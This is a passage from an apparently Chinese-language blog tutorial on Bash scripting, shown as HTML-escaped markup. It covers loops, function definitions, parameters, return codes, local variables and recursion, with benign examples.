&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; gzip &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已压缩: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;log_count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 达到3个后退出循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$log_count&lt;/span&gt; -ge &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="c1"&gt;# 跳出外层 while 循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 等待新日志生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已压缩满3个文件！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142139500" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142139500.png"&gt;&lt;/p&gt;
&lt;p&gt;通过灵活组合 &lt;code&gt;for&lt;/code&gt; 和 &lt;code&gt;while&lt;/code&gt;，可以高效处理文件操作、系统监控等任务。&lt;/p&gt;
&lt;h2 id="函数"&gt;函数
&lt;/h2&gt;&lt;p&gt;在 Bash 脚本中，函数（&lt;strong&gt;Function&lt;/strong&gt;）用于封装可重复使用的代码块，提升代码的可读性和复用性。以下是 Bash 函数的详细用法及示例：&lt;/p&gt;
&lt;h3 id="1-定义函数"&gt;&lt;strong&gt;1. 定义函数&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="语法"&gt;&lt;strong&gt;语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 方式1：使用 function 关键字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; 函数名 &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;函数体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 方式2：直接定义（兼容性更好）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;函数名&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;函数体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="示例-1简单函数"&gt;&lt;strong&gt;示例 1：简单函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义一个打印欢迎信息的函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;welcome&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;欢迎使用本脚本！当前用户：&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;welcome
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;欢迎使用本脚本！当前用户：ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142559077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142559077.png"&gt;&lt;/p&gt;
&lt;h3 id="2-函数参数"&gt;&lt;strong&gt;2. 函数参数&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;函数通过位置参数（&lt;code&gt;$1&lt;/code&gt;、&lt;code&gt;$2&lt;/code&gt;&amp;hellip;）接收参数，与脚本参数类似。&lt;/p&gt;
&lt;h4 id="示例-2带参数的函数"&gt;&lt;strong&gt;示例 2：带参数的函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义一个加法计算器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;add&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;$2&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# 使用 local 定义局部变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt; + &lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt; = &lt;/span&gt;&lt;span class="nv"&gt;$sum&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数并传递参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;add &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;5&lt;/span&gt; + &lt;span class="nv"&gt;3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142651984" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142651984.png"&gt;&lt;/p&gt;
&lt;h3 id="3-返回值"&gt;&lt;strong&gt;3. 返回值&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Bash 函数通过 &lt;code&gt;return&lt;/code&gt; 返回 &lt;strong&gt;退出状态码&lt;/strong&gt;（0 表示成功，非 0 表示错误），或通过 &lt;code&gt;echo&lt;/code&gt; 输出结果。&lt;/p&gt;
&lt;h4 id="示例-3返回状态码"&gt;&lt;strong&gt;示例 3：返回状态码&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查文件是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;file_exists&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# 文件存在，返回成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 文件不存在，返回失败&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数并检查返回值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; file_exists &lt;span class="s2"&gt;&amp;#34;/etc/passwd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;文件存在！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;文件不存在！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142750036" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142750036.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-4返回字符串"&gt;&lt;strong&gt;示例 4：返回字符串&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成问候语（通过 echo 返回结果）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;get_greeting&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;你好，&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;！今天是 &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%F&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获函数输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;get_greeting &lt;span class="s2"&gt;&amp;#34;大黑阔&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;你好，小明！今天是 2023-10-05
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142859752" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142859752.png"&gt;&lt;/p&gt;
&lt;h3 id="4-局部变量"&gt;&lt;strong&gt;4. 局部变量&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;使用 &lt;code&gt;local&lt;/code&gt; 关键字定义局部变量，避免污染全局作用域。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成问候语（通过 echo 返回结果）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;get_greeting&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;globalname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;你好，&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;！今天是 &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%F&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获函数输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;get_greeting &lt;span class="s2"&gt;&amp;#34;大黑阔&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Hacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="c1"&gt;# 局部变量不可见&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$globalname&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516143423888" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516143423888.png"&gt;&lt;/p&gt;
&lt;h3 id="5-高级用法"&gt;&lt;strong&gt;5. 高级用法&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="递归函数"&gt;&lt;strong&gt;递归函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算阶乘（递归实现）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;factorial&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; -le &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;prev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;factorial &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nv"&gt;$prev&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算 5!&lt;/span&gt;
